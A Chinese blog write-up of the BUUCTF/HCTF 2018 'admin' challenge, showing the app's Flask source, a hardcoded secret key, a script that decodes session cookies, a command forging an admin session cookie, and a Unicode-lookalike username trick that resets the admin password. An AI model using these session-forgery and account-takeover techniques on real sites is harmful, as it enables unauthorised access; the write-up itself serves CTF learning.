BUUCTF | [HCTF 2018]admin
首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“,”change password“这四个界面,根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?然后我在login界面输入用户名”admin“,密码”123“(弱口令)结果猝不及防
喵喵喵???还没开始就结束了?
正确的打开方式:总的来说就是欺骗服务器,假装自己是admin
buu限制发包量, 这里我就不尝试解法3了
解法一:flask session伪造
在"change password"页面发现了提示
1 | https: / / github.com / woadsl1234 / hctf_flask / blob / master / app / routes.py |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | #!/usr/bin/env python # -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response from flask_login import logout_user, LoginManager, current_user, login_user from app import app, db from config import Config from app.models import User from forms import RegisterForm, LoginForm, NewpasswordForm from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep from io import BytesIO from code import get_verify_code @app .route( '/code' ) def get_code(): image, code = get_verify_code() # 图片以二进制形式写入 buf = BytesIO() image.save(buf, 'jpeg' ) buf_str = buf.getvalue() # 把buf_str作为response返回前端,并设置首部字段 response = make_response(buf_str) response.headers[ 'Content-Type' ] = 'image/gif' # 将验证码字符串储存在session中 session[ 'image' ] = code return response @app .route( '/' ) @app .route( '/index' ) def index(): return render_template( 'index.html' , title = 'hctf' ) @app .route( '/register' , methods = [ 'GET' , 'POST' ]) def register(): if current_user.is_authenticated: return redirect(url_for( 'index' )) form = RegisterForm() if request.method = = 'POST' : name = strlower(form.username.data) if session.get( 'image' ).lower() ! = form.verify_code.data.lower(): flash( 'Wrong verify code.' ) return render_template( 'register.html' , title = 'register' , form = form) if User.query.filter_by(username = name).first(): flash( 'The username has been registered' ) return redirect(url_for( 'register' )) user = User(username = name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash( 'register successful' ) return redirect(url_for( 'login' )) return render_template( 'register.html' , title = 'register' , form = form) @app .route( '/login' , methods = [ 'GET' , 'POST' ]) def login(): if current_user.is_authenticated: return redirect(url_for( 'index' )) form = LoginForm() if request.method = = 'POST' : name = strlower(form.username.data) session[ 'name' ] = name user = User.query.filter_by(username = name).first() if user is None or not user.check_password(form.password.data): flash( 'Invalid username or password' ) return redirect(url_for( 'login' )) login_user(user, remember = form.remember_me.data) return redirect(url_for( 'index' )) return render_template( 'login.html' , title = 'login' , form = form) @app .route( '/logout' ) def logout(): logout_user() return redirect( '/index' ) @app .route( '/change' , methods = [ 'GET' , 'POST' ]) def change(): if not current_user.is_authenticated: return redirect(url_for( 'login' )) form = NewpasswordForm() if request.method = = 'POST' : name = strlower(session[ 'name' ]) user = User.query.filter_by(username = name).first() user.set_password(form.newpassword.data) db.session.commit() flash( 'change successful' ) return redirect(url_for( 'index' )) return render_template( 'change.html' , title = 'change' , form = form) @app .route( '/edit' , methods = [ 'GET' , 'POST' ]) def edit(): if request.method = = 'POST' : flash( 'post successful' ) return redirect(url_for( 'index' )) return render_template( 'edit.html' , title = 'edit' ) @app .errorhandler( 404 ) def page_not_found(error): title = unicode (error) message = error.description return render_template( 'errors.html' , title = title, message = message) def strlower(username): username = nodeprep.prepare(username) return username |
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:
1234from
itsdangerous
import
*
s
=
"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret
=
s.split(
'.'
)
int
.from_bytes(base64_decode(timestamp),byteorder
=
'big'
)
稍微改动后的代码py3from itsdangerous import * s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY" data,timestamp,secret = s.split('.') print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret) print(base64_decode(data)) print(base64_decode(timestamp)) print(int.from_bytes(base64_decode(timestamp),byteorder='big')) print(int.from_bytes(base64_decode(secret),byteorder='big'))
代码解析int.from_bytes函数 功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。 函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。 bytes是输入的变量; base64_decode(timestamp)=b'\\\r\xda\xe0' signed=True表示需要考虑符号位。 举例说明:int_s = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',则输出int_s=-15。 分析一下过程,'\x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111. #小端法 由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001. 又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。 上面的例子中,如果signed=False,则无符号位; 若byteorder='big',则输入s的左边是高位,右边是低位。 #大端法

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz
1 | python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc |

https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊
1 | python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}" |

https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
解法二:Unicode欺骗
https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。
1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456
2.修改密码:111,然后退出
3.用账号”admin“,密码:111成功登录
大致的思路是:在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)
参考资料:
HCTF2018-admin三种解法复现:https://blog.csdn.net/weixin_44677409/article/details/100733581
Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0
unicode 欺骗:https://panda1g1.github.io/2018/11/15/HCTF%20admin/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异